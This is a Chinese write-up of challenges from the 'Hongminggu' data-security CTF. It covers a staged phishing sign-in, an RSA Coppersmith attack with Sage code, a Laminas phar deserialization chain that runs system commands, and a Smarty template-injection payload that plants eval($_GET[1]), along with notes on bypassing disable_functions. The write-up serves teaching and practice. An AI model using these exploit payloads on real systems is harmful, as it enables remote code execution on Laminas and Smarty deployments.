楔子
第二届“红明谷”杯数据安全大赛由数字中国建设峰会组委会主办;福建省数字福建建设领导小组办公室、三明市人民政府承办,永信至诚连续两届为大赛提供技术支持。旨在培养网络安全意识,重点考察数据安全理论及相关政策法规等,推动广大机关干部群众了解网络安全技术,巩固网络安全法知识,树立网络安全意识,以更好地为数字经济建设贡献力量!
签到
00 前言
2022年北京冬奥会举世瞩目,但有不法分子打着“魅力冬奥”的旗号使其全国350多万大学生被骗。红明谷将其情景再现,旨在呼吁大家提高安全意识,看到不明来历的链接要“不要点”,“早举报”,谨防上当受骗。这次签到我们写的”参赛选手问卷调查”,这是为了降低大家的警惕性,因为以往比赛中类似的问卷调查也是存在的,只是一般最后放出,但这次比赛一开始就放出,不知道有多少选手注意到这问卷调查的异常呢?
事件详情:全国350多万大学生在线答题助力冬奥被骗,警方通报来了!
01 致知力行
其实只要大家仔细一点,应该是可以发现问题的,背景图片中含有文字,不知道大家注意到了吗?
通过浏览器查看后面的图片内容就可以发现“魅力冬奥”这个骗局活动。
提交信息后,就会到扫描二维码的地方,这时查看源码就会发现,这里的注释也是在提醒大家。
到最后不知道有多少人知道自己的信息被非法收集了,就算在wp里面还是有很多选手的签到截图里面还有电话号码,像这类信息被泄露后的利用,比较印象深刻的就是“王校长”的美团账号被改绑的事件。
下图为某队伍wp内的友好吐槽。
easy_ya
约法X章
1. rsa
2. coopersmith
致知力行
-
分析源码可以得到rsa 加密的密文c,及其对应的公钥(n,e)和一个512位的素数r,以及M = m%r
-
加密前的明文是在末尾填充了32位随机字符串的,由于m = M+k*r 首先尝试爆破k,但是我们会发现并不能爆破出来,这时候考虑 k的大小 由于 m的位数约为 591 位,而 r的位数为512位,则k的位数约为 79位。显然k相对来说比较小(但是爆破是不可行的)
-
我们考虑使用coopersmith 的方法寻找小根k。可以构造如下的多项式:f = (M+x*r)^e -c 在 Zmod(n)的多项式环上有小根x = k,由于k < 2^79 < n^(1/e) 所以我们可以迅速的找到k,恢复m
poc如下:
#!sage
r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473
M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558
n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287
e = 3
c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282
P.<x> = PolynomialRing(Zmod(n))
f = (M+x*r)^e - c
k = f.monic().small_roots(X=2^100,beta=1,espilon=0.03)[0]
m = M+k*r
print(bytes.fromhex(hex(m)[2:]))
Fan website
01 约法X章
1.phar文件内容上传绕过
2.phar反序列化(Laminas链子利用)
02 致知力行
首先通过www.zip下载源码,然后代码审计。这题的考点也比较常见,文件内容的绕过方式可以是:zip压缩,gzip压缩和bz2压缩,反序列化链。网上也有公开可用的(https://xz.aliyun.com/t/8975),pop链子:
<?php
namespace LaminasViewResolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace LaminasViewRenderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new LaminasViewResolverTemplateMapResolver();
}
}
}
namespace LaminasLogWriter{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new LaminasViewRendererPhpRenderer();
}
}
}
namespace LaminasLog{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new LaminasLogWriterMail()];
}
}
}
namespace{
use LaminasLogLogger;
$phar = new Phar("ttpfx.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //设置stub
$o = new Logger();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", file_get_contents("test.txt"));
//$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
system("gzip ttpfx.phar");
rename("ttpfx.phar.gz", "ttpfx.png");
}
?>
上传文件后,得到文件名:
通过/album/imgdelete 路由删除文件触发反序列化:
Smarty_calculator
01 约法X章
1.对比官方源码和题目的修改部分(这里其实从题目描述也能看出来)
2.绕过 open_dasedir 或 disable_functions 来读取到flag
02 致知力行
第一步扫描目录得到:www.zip 源码,得到源码后就可以开始查看版本为:3.1.39,然后对比官方源代码发现其中的区别(https://github.com/smarty-php/smarty/releases/tag/v3.1.39)。
并且官方的:CHANGELOG.md 里面提到了安全问题(https://github.com/smarty-php/smarty/blob/v3.1.39/CHANGELOG.md),所以目标就明确为这一部分的绕过。
比较快的方式就是php的动态调试了,断点下在修改部分,然后输入的数据为 {function name='blah'}{/function}
。
在断点处测试一下绕过正则,发现换行可以绕过。
设置cookie后发送构造poc:data=%7Bfunction%20name%3D'exp()%7B%7D%3Beval(%24_GET%5B1%5D)%3Bfunction%0A%0A'%7D%7B%2Ffunction%7D
。
题目有:open_basedir 和 disable_functions,既可以通过 ini_set 配合 chdir 的trick来绕过open_basedir 读取flag,也可以用蚁剑的插件来bypass disable_functions。
君有何策
非预期解:
1.CVE-2021-29454 的利用
2.绕过 open_dasedir 或 disable_functions 来读取到flag
在github上面可以找到相关的漏洞信息、修复代码以及测试数据里的说明。
https://github.com/smarty-php/smarty/security/advisories/GHSA-29gp-2c3m-3j6m
https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71
然后把里面的测试数据放到题目里面看看报错。
绕过waf构造poc也能成功的代码执行,后面得到flag的流程部分与预期解一致。
– 未完待续 –
春秋GAME伽玛实验室
会定期分享赛题赛制设计、解题思路……
如果你日常有一些技术研究和好的设计思路
或在赛后对某道题有另辟蹊径的想法
欢迎找到春秋GAME投稿哦~
联系vx:cium0309
欢迎加入 春秋GAME CTF交流2群
Q群:703460426
原文始发于微信公众号(春秋伽玛):【WP】第二届“红明谷”杯数据安全大赛题目解析(一)